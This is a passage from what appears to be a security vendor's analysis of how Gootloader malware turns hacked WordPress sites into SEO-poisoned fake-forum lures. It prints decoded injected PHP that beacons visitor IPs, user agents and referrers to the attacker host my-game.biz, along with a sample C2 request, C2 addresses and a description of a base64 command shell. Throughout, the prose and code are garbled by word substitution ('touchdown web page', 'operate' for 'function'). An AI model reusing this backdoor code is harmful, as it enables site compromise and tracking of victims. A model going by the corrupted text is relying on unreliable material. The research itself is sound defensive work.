…
That hidden ingredient had hyperlinks (chosen with inexperienced) and the matching focused search phrases (chosen with brown):
This hidden ingredient is not going to be seen to human webpage guests. But search engine crawlers see and course of it, which tips the major search engines into treating the web site as if it supplies related content material on the poisoned search time period, thus rating the positioning excessive within the search outcomes.
Compromised touchdown web page code
When safety vendor Sucuri wrote up a weblog put up about an earlier technology of Gootloader, it included this screenshot:
The report (and screenshot) revealed three promising strings:
- The request: $_GET[”a55d837’
- A malicious web domain name: ‘my-game[.]biz’
- A SQL question (proven on a unique screenshot in Sucuri’s weblog): ‘SELECT * FROM backupdb_’
Searching Google for code fragment $_GET[”a55d837’ led us to an online decoder page, where the result (now deleted) of another researcher’s query revealed the encoded version of the PHP code used in the malicious web page:
function qwc1() { global $wpdb, $table_prefix, $qwc1; $qwc2 = explode('.', $_SERVER["x52105x4d117x54105x5f101x44104x52"]); if (sizeof($qwc2) == 4) { if ($wpdb - > get_var("x53105x4c105x43124x20105x58111x53124x5340x28123x45114x45103x5440x2a40x46122x4f115x20142x61143x6b165x70144x62137".$table_prefix. "x6c163x74141x7440x57110x45122x4540x77160x2075x2047".$qwc2[0]. '|'.$qwc2[1]. '|'.$qwc2[2]. "x2751x3b") == 1) {
and the decoded model of that very same script:
operate qwc1() { world $wpdb, $table_prefix, $qwc1; $qwc2 = explode('.', $_SERVER["REMOTE_ADDR"]); if (sizeof($qwc2) == 4) { if ($wpdb - > get_var("SELECT EXISTS (SELECT * FROM backupdb_".$table_prefix. "lstat WHERE wp = '".$qwc2[0]. '|'.$qwc2[1]. '|'.$qwc2[2]. "');") == 1) {
While it isn’t clear how the code ended up on that web site, the Internet by no means forgets: Search engines discovered and listed this evaluation. This gave us the primary perception at what the injected code of the compromised touchdown pages would seem like.
(Both the evaluation linked above, and one other web page I subsequently discovered on malwaredecoder.com, have been later eliminated by their respective website homeowners. Search outcomes that reveal ephemeral evaluation pages like these are solely accessible for a brief time frame. If you propose to quote supply supplies from websites equivalent to these, hold an offline copy of the web page, as a result of they is probably not there while you return.)
At this level we didn’t know precisely how the websites are compromised, however we knew from the report that malicious PHP code is by some means inserted into the WordPress set up.
The search on VirusTotal for content material:”SELECT * FROM backupdb_” offers a few recordsdata from a compromised server that include an error message:
WordPress database error: [Table 'interfree.backupdb_wp_lstat' doesn't exist]
SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');
The criminals are doubtless utilizing the database backupdb_wp_lstat, which will need to have been faraway from the server throughout a cleanup. We have been looking for this content material on VirusTotal (search time period: content material:”backupdb_wp_lstat”), hoping we’d come upon a database dump. It is at all times a good suggestion to arrange these guidelines and do extra retrohunts, which might reveal different invaluable recordsdata or knowledge.
We have been fortunate, and located an archive file containing a SQL dump of the WordPress database from a compromised server on a public malware repository.
The dumped database incorporates a desk known as backupdb_wp_lstat. Later evaluation decided that this desk incorporates the IP deal with blocklist the malicious web site makes use of to forestall repeat visits.
The obfuscated PHP code was additionally viewable within the database dump:
…as was the injected search engine marketing poisoning content material, with the j$okay..j$okay marker:
Researchers who need to hunt for this identifiable string within the Descriptions property of the malicious touchdown pages can use the regex /j$okay([0-9]{1,10})j$okay/
This marker serves as placeholder for the spot the place Gootloader’s hyperlink to the web page renderer script is inserted. When the Gootloader web page is served up, it excludes the marker from the web page supply.
However, the code extracted from the SQL database dump was not precisely the identical as what was proven within the Sucuri weblog. We continued looking for extra examples by pivoting on the C2 server my-game[.]biz, and located a handful of PHP recordsdata referring to that server:
The submission title commented_functions.php appeared promising. Indeed, it turned out to be doubtless the work of a researcher, analyzing the PHP supply code from the compromised WordPress set up. It was kindly documented intimately, saving us some evaluation time (which additionally helped as a result of we didn’t have all of the parts).
We have been ready to make use of the base64 string referenced within the “html” remark above to look VirusTotal, which led us to a (comparatively) just lately uploaded SQL dump.
The dump file contained the beforehand referenced base64 blob…
…which, when decoded, output the identical code that was initially revealed by Sucuri:
With this in hand, we had larger confidence within the provenance of this malicious code. We additionally recognized the desk the place Gootloader shops it in a compromised WordPress database. Having situated the dump of the WordPress database and the PHP code on the web decoder website, we have now a whole copy of the malicious content material hosted on the compromised touchdown websites.
What’s within the touchdown web page code?
This code incorporates a easy PHP command shell, which the Gootloader attackers can use to take care of entry to compromised pages.
The variable $pposte holds the title of the parameter that will get executed. If the compromised web site receives an HTTPS POST with that string in it, the code on the web page will decode and execute any base64 encoded instructions it receives, turning right into a bare-bones command shell the attackers can use to take care of management over the server:
At different factors contained in the code, the script defines filters for WordPress occasions, which set off the execution of features based mostly on predefined situations.
For instance, the next operate executes as soon as the attackers have arrange the compromised WordPress setting: the invoked code (referenced as “qvc5”) initializes the backupdb_wp_lstat database desk.
add_action("wp", "qvc5");
This snippet from the qvc5() operate initializes the backend databases utilized by Gootloader:
if ($table_prefix < > "backupdb_".$qvc4) { $table_prefix = "backupdb_".$qvc4; wp_cache_flush(); $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); $qvc5 - > set_prefix($table_prefix);
On making ready the requested net web page, the malicious occasion handler hooks construct the request to the “mothership” (a reputation I’ve given to the web site the Gootloader operators use to centrally handle their fleet of compromised blogs). The communication sends the mothership the next parameters of the preliminary request, all in base64 encoded type:
- a: Unique server ID
- b: IP deal with of the unsuspecting customer
- c: person agent
- d: referrer string
if (isset($_GET[$qwc4])) { $request = @wp_remote_retrieve_body(@wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]). '&b='.base64_encode($_SERVER["REMOTE_ADDR"]). '&c=".base64_encode($_SERVER["HTTP_USER_AGENT"]). "&d='.base64_encode(wp_get_referer()), array("timeout" => 120)))
One of Gootloader’s most problematic behaviors is that it solely permits the potential sufferer to go to the positioning as soon as in a 24-hour interval. It does this by including the originating IP deal with of this communication (the deal with of the sufferer PC, variable ‘b’ above) to a block record. The server additionally geofences IP deal with ranges, and solely permits requests to originate from particular nations of curiosity to the Gootloader risk actor. The referrer string (variable ‘d’ above) incorporates the unique search phrases.
This leads to a question that appears like this:
http://my-game.biz/index.php?a=YWFkZTVlZQ&b=ODUuMjE0LjEzMi4xMTc&c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ
(In this instance, the “&d=” referrer string is the base64-encoded worth of “google/?q=cisco_wpa_agreement”)
Later, we are going to see that the server’s response would be the faux discussion board web page renderer code.
The mothership sends the faux discussion board web page
The mothership response incorporates two components: one incorporates the HTML header components, and the opposite incorporates the web page physique content material. The two are delimited within the code by a
The header half incorporates a number of components, separated by pipe (“|”) characters. Using what it will get from the mothership, the touchdown web page code will collect the HTML content material:
The script provides your complete /24 IP deal with vary the place the request originated to a 24-hour block record. Neither the originating pc, nor any others with the identical preliminary three units of numbers in its IP deal with, can get the web page once more for no less than a day. (This was already seen within the SQL database dump):
How Gootloader renders the faux discussion board web page
If the request comes from an IP deal with that isn’t on the block record, the malicious code within the compromised WordPress database takes motion and delivers the bogus message board content material (usually titled merely “Questions And Answers”) to the customer’s browser.
The solely seen malicious content material within the supply code of a compromised touchdown web page is a straightforward inserted JavaScript tag. For instance:
https://powerstick.com/main/?ad94610=1174868
Here, once more, the distinctive key for the contaminated server is used as a parameter assigned to a numeric worth (1174868 within the above instance):
This
If the HTTPS GET request incorporates a question string that features the an infection ID, the handler code sends a request to the mothership and renders the response.
We are in a position to get the code returned by the mothership by grabbing the faux touchdown web page HTML supply, and utilizing an online debugger that data the on-the-fly adjustments.
First it deletes the unique content material of the HMTL web page:
…and replaces it with the faux discussion board textual content…
…which additionally incorporates the obtain hyperlink for the primary stage JScript payload:
The outcome will seem like a dialog within the weblog feedback during which somebody “asks” a query similar to the search question handed from the Google referrer textual content, a “response” seems from a person account named Admin with the search time period hotlinked to the primary stage JScript downloader, and a followup “response” from the identical “user” who “asked” the preliminary query, thanking the admin who “answered.”
The whole dialog is a fiction. It follows this sample in each Gootloader incident.
The first-stage downloader website
The faux discussion board web page connects to the primary stage obtain server, the place a PHP script serves the primary stage JScript downloader script.
(We acquired a duplicate of this script from one other researcher within the safety group, who needs to stay nameless, beneath TLP:Red restrictions. While we couldn’t use the script we acquired on this weblog put up, we might use traits of the script to hunt for related samples.)
On the server aspect, this file is embedded as a big Base64-encoded knowledge blob, with textual content that begins:
With this info, we might seek for related scripts, utilizing this Yara rule:
rule gootkit_stage1_dl{ strings: $a = "This gave us a handful of different variants of the script, with the principle distinction being the obtain URL:
We noticed two mothership addresses, 5.8.18[.]7 and my-game[.]biz within the samples we studied. At the time we initially researched this, the my-game area resolved to that IP deal with (it now resolves elsewhere). Oddly, the compromised touchdown web page code hyperlinks to the area, and the primary stage JScript downloader hyperlinks to the IP deal with.
The first stage obtain script (down.php or be part of.php or about.php or index.php) merely relays the incoming request to the mothership:
The request despatched to the mothership will return the first-stage downloader JScript packaged in a Zip archive. Because it passes the unique referrer string all the way in which to the mothership, it would obtain the unique search phrases, and might return a payload with a file title matching these search phrases, which is what we’ve noticed occurs.
How Gootloader compromises WordPress servers
Near the tip of our preliminary analysis, we discovered an essential piece of details about the doubtless supply of the preliminary compromise of the internet hosting WordPress servers. As we collect extra info, it’s price revisiting prior analysis, which can reveal clues that we didn’t know have been associated on the time.
The writeup describes an assault the place attackers positioned a modified copy of the Hello Dolly plugin within the WordPress uploads listing (e.g. wp-content/uploads/), which they then used to provoke the set up of the malicious WordPress content material.
HelloDolly.php has been a inventory plugin, included with the WordPress self-hosted obtain, for a few years. In any case, modifying this code in a comparatively benign plugin, and leaving it in place on the compromised server, permits Gootloader to function in plain sight whereas minimizing the filesystem adjustments which may reveal a compromise to an alert webmaster.
There are a number of methods during which a risk actor may have the ability to place a file right into a WordPress website: The credentials for the online server may need been phished or stolen; a WordPress part might have had a vulnerability that permitted distant customers to carry out SQL injection or command execution exploits on the host server; the executive WordPress password may need been stolen.
In this case, the writeup incorporates a screenshot:
We searched VirusTotal for extra of those recordsdata:
content material:"dolly_css"While we discovered a number of clear, authentic variations of the HelloDolly.php file…
- 2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499
- 2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127
…we discovered many extra the place the backdoor code had been injected…
- 03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016
- 1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7
- 258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69
- 5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27
- 7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57
- af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029
…and we additionally discovered a number of Zips that contained full copies of compromised WordPress installations:
- 89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a
Here, the malicious HelloDolly PHP script is put in as a WordPress plugin beneath the trail:
wp-contentpluginsHello_DollyHelloDolly.php
The malicious PHP recordsdata present the extra code, together with the unique Hello Dolly lyrics. An inserted code will test the POST request for particular parameters, and if discovered, will execute the submitted set up code.
We discovered different variations the place the $dolly variables are renamed $wp
The analysis weblog put up summarizes the method like this:
We discovered these parts within the SQL database dumps, giving us sufficient confidence to determine that this was (no less than) a method the attackers compromised these reputable WordPress websites to show them into distribution servers.
Docking with the mothership
The mothership server performs a central function orchestrating the early levels of the infection course of: It supplies the faux discussion board content material that the compromised websites show within the goal’s browser, in addition to the primary stage payload.
Unfortunately, as a result of this has all been maintained on a server that’s straight managed by the risk actors, no matter supply code it could include will not be accessible to researchers.
Disturbingly, since 2018 when Gootloader first appeared on the scene, it has used the identical area, and for many of that point, the area pointed to a lot of the identical IP addresses.
5.8.18[.]7
The my-game[.]biz area resolved to this IP deal with for a number of years. Many of the malicious scripts level straight at URLs hosted on this IP deal with to ship parts of the an infection.
Known URLs:
http://5.8.18[.]7/filezzz.php
The preliminary parts of the an infection are recordsdata generally known as Gootkit. They are normally simply PHP scripts that include a base64-encoded string and a script to decode the info and output it to a variable, equivalent to this file (variably known as be part of.php or down.php).
We have been additionally in a position to determine a number of Gootkit recordsdata that check with, or hyperlink to, this IP deal with, together with this script, and this script. Both of those recordsdata include error messages that check with one thing not with the ability to utterly obtain a part.
Interestingly, the server-side downloader script was named file_tmp_41.php, which is in contrast to the downloader scripts seen usually. That might point out this script was an artifact of testing.
If we pivot off of this info, and (for instance) search VirusTotal for content material:” . The outcome yields additional recordsdata, each of which include a URL that we’ve beforehand mentioned:
http[:]//5.8.18.7/filesst.php?a=$i&b=$u&c=$r&d=$h&e=$g
5.8.18[.]159
This was one other deal with that my-game[.]biz has resolved to prior to now. We have been capable of finding one other first-stage Gootkit part that hyperlinks on to this IP deal with.
91.215.85[.]52
Yet one other IP that has been used to host my-game[.]biz and continues to take action. We discovered nonetheless one other first-stage Gootkit script that hyperlinks to this IP deal with.
my-game[.]biz
The website is clean now, however the Internet Archive reveals an attention-grabbing origin story to this area: In 2014, it was used to host a Russian on-line playing website. Since 2018, the web page has hosted no different content material however has been linked to the Gootkit/Gootloader malware.
The solely different reference we might discover to the area was a Counter-Strike clan listing courting again greater than 15 years.
The listing lists this web site as the house web page for a gaggle of “semi professional” gamers based mostly in Germany who performed beneath the deal with #mY-GaMe.
Name: #mY-GaMe Clan-Tag (Kürzel): #mY-GaMe` Land (Hauptsitz des Clans): Deutschlandweit Ort (Hauptsitz des Clans): Deutschlandweit Leader: pr0nb1tch ICQ#: 256558686 Homepage: http://www.my-game.biz Anzahl der Spieler: 10 Art der Spielmodi: Leaguez Clan-Profil: Semi-Profi-Clan Clan sucht neue Spieler: Ja Leader: kevin.goe@on-line.de
Open-source intelligence reveals so much
With a malware an infection methodology seemingly designed to make it as tough as doable for researchers to dig in and study the way it works, Gootloader stays some of the pernicious and difficult-to-study threats on the net.
However, regardless of most of its code present and working inside different folks’s WordPress servers, the proliferation of on-line evaluation instruments supplies a wealthy pool of alternative to learn the way the malware works, and the way its loader delivers payloads. Thanks to the assets uploaded by quite a lot of completely different analysts and researchers, we’ve been in a position to construct a virtually full image of how the malware operates.
The PHP scripts, embedded JavaScript parts, and downloadable JScript payloads of this an infection at the moment are effectively understood, and but the malware continues to have an effect, greater than six years after it was first found. Fortunately, because of the comparatively sluggish tempo of the malware’s growth and its comparatively steady internet hosting of the “mothership” server, static and dynamic detections stay efficient.
And a ultimate observe about collaborative analysis initiatives. It pays to develop and keep relationships with the malware evaluation and safety analysis group. For this mission, we acquired assist from a number of researchers, a few of whom didn’t need to be acknowledged. Our recommendation: If you do this sort of work, don’t hesitate to share your findings; you will discover that the hassle you spend money on collaboration with colleagues throughout the trade will ultimately repay while you want info. We are grateful for the assist and assist we acquired from a number of people.
Acknowledgments
Sophos X-Ops gratefully acknowledges the contribution of Marv Ahlstrom, an search engine marketing knowledgeable who suggested us about numerous facets of Gootloader/Gootkit’s malicious search engine marketing. The creator additionally needs to thank the pseudonymous researchers who use the handles @sS55752750, @SquiblydooBlog, and @GootLoaderSites for his or her help. We additionally acknowledge and are grateful for analysis beforehand revealed by Sucuri and Rich Infante. X-Ops researcher Andrew Brandt contributed to this evaluation.
Indicators of compromise
Hashes and different IOCs referenced on this story are listed on the SophosLabs Github.